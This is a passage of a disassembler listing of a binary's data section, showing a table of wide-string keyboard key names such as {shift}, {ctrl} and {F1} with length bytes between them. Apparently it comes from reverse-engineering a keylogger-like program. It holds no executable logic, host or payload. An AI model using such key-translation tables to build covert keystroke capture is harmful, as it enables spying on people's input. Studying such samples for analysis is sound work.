00409ccc wstring "{shift}",0
00409cdc
00409cdc 0c 00 00 00 ....
00409ce0
00409ce0 wstring "{ctrl}",0
00409cee
00409cee 00 00 ..
00409cf0 0a 00 00 00 ....
00409cf4
00409cf4 wstring "{alt}",0
00409d00
00409d00 0e 00 00 00 ....
00409d04
00409d04 wstring "{pause}",0
00409d14
00409d14 0a 00 00 00 ....
00409d18
00409d18 wstring "{esc}",0
00409d24
00409d24 0a 00 00 00 ....
00409d28
00409d28 wstring "{end}",0
00409d34
00409d34 0c 00 00 00 ....
00409d38
00409d38 wstring "{home}",0
00409d46
00409d46 00 00 0c 00 00 00 ......
00409d4c
00409d4c wstring "{left}",0
00409d5a
00409d5a 00 00 00 00 00 00 ......
00409d60 0e 00 00 00 ....
00409d64
00409d64 wstring "{right}",0
00409d74
00409d74 08 00 00 00 ....
00409d78
00409d78 wstring "{up}",0
00409d82
00409d82 00 00 0c 00 00 00 ......
00409d88
00409d88 wstring "{down}",0
00409d96
00409d96 00 00 10 00 00 00 ......
00409d9c
00409d9c wstring "{insert}",0
00409dae
00409dae 00 00 ..
00409db0 10 00 00 00 ....
00409db4
00409db4 wstring "{Delete}",0
00409dc6
00409dc6 00 00 02 00 00 00 ......
00409dcc
00409dcc wstring ";",0
00409dd0
00409dd0 02 00 00 00 ....
00409dd4
00409dd4 wstring ":",0
00409dd8
00409dd8 02 00 00 00 ....
00409ddc
00409ddc wstring "=",0
00409de0
00409de0 02 00 00 00 ....
00409de4
00409de4 wstring "+",0
00409de8
00409de8 02 00 00 00 ....
00409dec
00409dec wstring ",",0
00409df0
00409df0 02 00 00 00 ....
00409df4
00409df4 wstring "<",0
00409df8
00409df8 02 00 00 00 ....
00409dfc
00409dfc wstring "-",0
00409e00
00409e00 02 00 00 00 ....
00409e04
00409e04 wstring "_",0
00409e08
00409e08 02 00 00 00 ....
00409e0c
00409e0c wstring "/",0
00409e10
00409e10 02 00 00 00 ....
00409e14
00409e14 wstring "?",0
00409e18
00409e18 02 00 00 00 ....
00409e1c
00409e1c wstring "`",0
00409e20
00409e20 02 00 00 00 ....
00409e24
00409e24 wstring "~",0
00409e28
00409e28 02 00 00 00 ....
00409e2c
00409e2c wstring "[",0
00409e30
00409e30 02 00 00 00 ....
00409e34
00409e34 wstring "{",0
00409e38
00409e38 02 00 00 00 ....
00409e3c
00409e3c wstring "|",0
00409e40
00409e40 02 00 00 00 ....
00409e44
00409e44 wstring "]",0
00409e48
00409e48 02 00 00 00 ....
00409e4c
00409e4c wstring "}",0
00409e50
00409e50 02 00 00 00 ....
00409e54
00409e54 wstring "'",0
00409e58
00409e58 0a 00 00 00 ....
00409e5c
00409e5c wstring "{Del}",0
00409e68
00409e68 08 00 00 00 ....
00409e6c
00409e6c wstring "{F1}",0
00409e76
00409e76 00 00 08 00 00 00 ......
00409e7c
00409e7c wstring "{F2}",0
00409e86
00409e86 00 00 08 00 00 00 ......
00409e8c
00409e8c wstring "{F3}",0
00409e96
00409e96 00 00 08 00 00 00 ......
00409e9c
00409e9c wstring "{F4}",0
00409ea6
00409ea6 00 00 08 00 00 00 ......
00409eac
00409eac wstring "{F5}",0
00409eb6
00409eb6 00 00 08 00 00 00 ......
00409ebc
00409ebc wstring "{F6}",0
00409ec6
00409ec6 00 00 08 00 00 00 ......
00409ecc
00409ecc wstring "{F7}",0
00409ed6
00409ed6 00 00 08 00 00 00 ......
00409edc
00409edc wstring "{F8}",0
00409ee6
00409ee6 00 00 08 00 00 00 ......